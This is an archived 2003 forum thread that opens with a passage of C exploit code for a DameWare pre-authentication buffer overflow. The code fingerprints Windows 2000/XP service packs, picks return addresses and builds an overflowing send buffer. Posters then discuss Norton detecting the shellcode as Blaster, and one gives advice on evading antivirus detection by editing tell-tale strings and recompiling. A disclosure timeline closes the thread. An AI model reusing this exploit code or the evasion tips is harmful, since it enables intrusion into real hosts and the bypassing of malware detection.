connect(s, (struct sockaddr *)&serv, sizeof(struct sockaddr)); x = recv(s, recvbuf, sizeof(recvbuf), 0); // change some bytes send it back // recvbuf[26] = 0x00; recvbuf[30] = 0x00; recvbuf[36] = 0x01; send(s, recvbuf, 40, 0); x = recv(s, recvbuf, sizeof(recvbuf), 0);
/* start identifying os */ if (recvbuf[8]==5 && recvbuf[12]==1) { winvers = 1; } else if (recvbuf[8]==5 && recvbuf[12]==0) { winvers = 0; } else { winvers = 2; } for (i = 0; i <= x; i++) { if(recvbuf[i] == 'S') { //sp = atoi(recvbuf+i+13); sp = atoi(&recvbuf[37]); break; } else { nosp = 1; } } if (winvers == 0) { switch (sp) { case 1: memcpy(sc, &sp1, 4); printf("Host is running Windows 2000 SP: %d\n", sp); break; case 2: memcpy(sc, &sp2, 4); printf("Host is running Windows 2000 SP: %d\n", sp); break; case 3: memcpy(sc, &sp3, 4); printf("Host is running Windows 2000 SP: %d\n", sp); break; case 4: memcpy(sc, &sp4, 4); printf("Host is running Windows 2000 SP: %d\n", sp); break; default: fprintf(stderr, "Error finding service pack inspect manually... Exiting\n"); #ifdef _WIN32 closesocket(s); #else close(s); #endif exit(1); } } else if( winvers == 1) {
if(nosp == 1) { printf("Host is running Windows XP SP: 0\n"); memcpy(sc, &xpsp0, 4); } else if (sp == 1) { printf("Host is running Windows XP SP: %d\n", sp); memcpy(sc, &xpsp1, 4); } } else { fprintf(stderr, "Unknown OS sorry Exiting...\n"); exit(1); } /* end identifying os */
x = 196; // first offset for local username memcpy(sendbuf+x, userl, sizeof(userl)); x += strlen(userl); memset(sendbuf+x, 0x42, 309); // bunch of garbage that gets stripped anyways. x+=309; memcpy(sendbuf+x, sc, sizeof(sc)); // after this we're basically overwriting every other string so no point heh. // i'm still pretty certain you need to finish up the entire pre-auth communication. // seeing as how the function doesn't return until after the auth fails heh. x = 2796; memcpy(sendbuf+x, nbnamel, strlen(nbnamel)); x = 3056; memcpy(sendbuf+x, ip, strlen(ip)); x = 3836; memcpy(sendbuf+x, vers, strlen(vers)); send(s, sendbuf, sizeof(sendbuf), 0); x = recv(s, recvbuf, sizeof(recvbuf), 0);
I got my norton up-to-date, and the executable isnt saw as a virus by norton... i got norton 2003 ...
320X
Dec 20 2003, 03:50 PM
Norton Antivirus is bullshit compile the version of the 0 days with the vc++
thatsmej
Dec 20 2003, 03:51 PM
norton 2004 says here to that it`s a msblaster worm...
sow i guess he looks at some know codes wich are the same or sow..
TedOb1
Dec 20 2003, 04:18 PM
i compiled it from the 'original' code off the site with gcc. norton (corp. ed.) picked it up as blaster as soon as it compiled. to compile this i needed to turn off realtime protection and store it in a dir i have excluded from nortons seach. just because it detects anything that uses a blaster type string as blaster doesn't mean norton sucks...i want it to detect anything even remotly dangerous on my network and don't mind taking the extra steps.
thanks for the code 101
101
Dec 20 2003, 04:49 PM
Thats wirepair ted to thanx , i did nothing without to brought it faslty there for testing. About Norton yeah you can all forget it , I already made some tests , there are a long time so but .. I was using some old exploit detected by Norton. I edited lame sentences, words like "Exploits" "Target Succesfully exploited" etc.. etc.. After a "re"compilation , it was no more detected .....
This let j00 see how norton can detect evrything as nothing
nb: i know, crap english, sorry .. & l8r.
//EDIT: If you wanna test , took hk.exe , should be still detect by norton, edit it like i said & recompile it. The tool will be safe
flame
Dec 20 2003, 05:35 PM
its just the shellcode thats being spotted as a blaster - thats a wellknown FACT
TedOb1
Dec 20 2003, 06:34 PM
with the patch already released you can hardly call it 0day though. maybe 1day or 6day !?!
Time Table: Nov 21st, Vulnerability identified and Exploit written. Nov 23rd, First contact with DameWare Nov 24th, Response by DameWare stating they will inspect the issue. Nov 26th, DameWare supplied me a hotfix to re-test. Dec 4th, DameWare put hotfix (new version) Online for clients to download. Dec 14th, This advisory is released. Dec 20th, I plan on releasing my exploit code.
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.
its just the shellcode thats being spotted as a blaster - thats a wellknown FACT
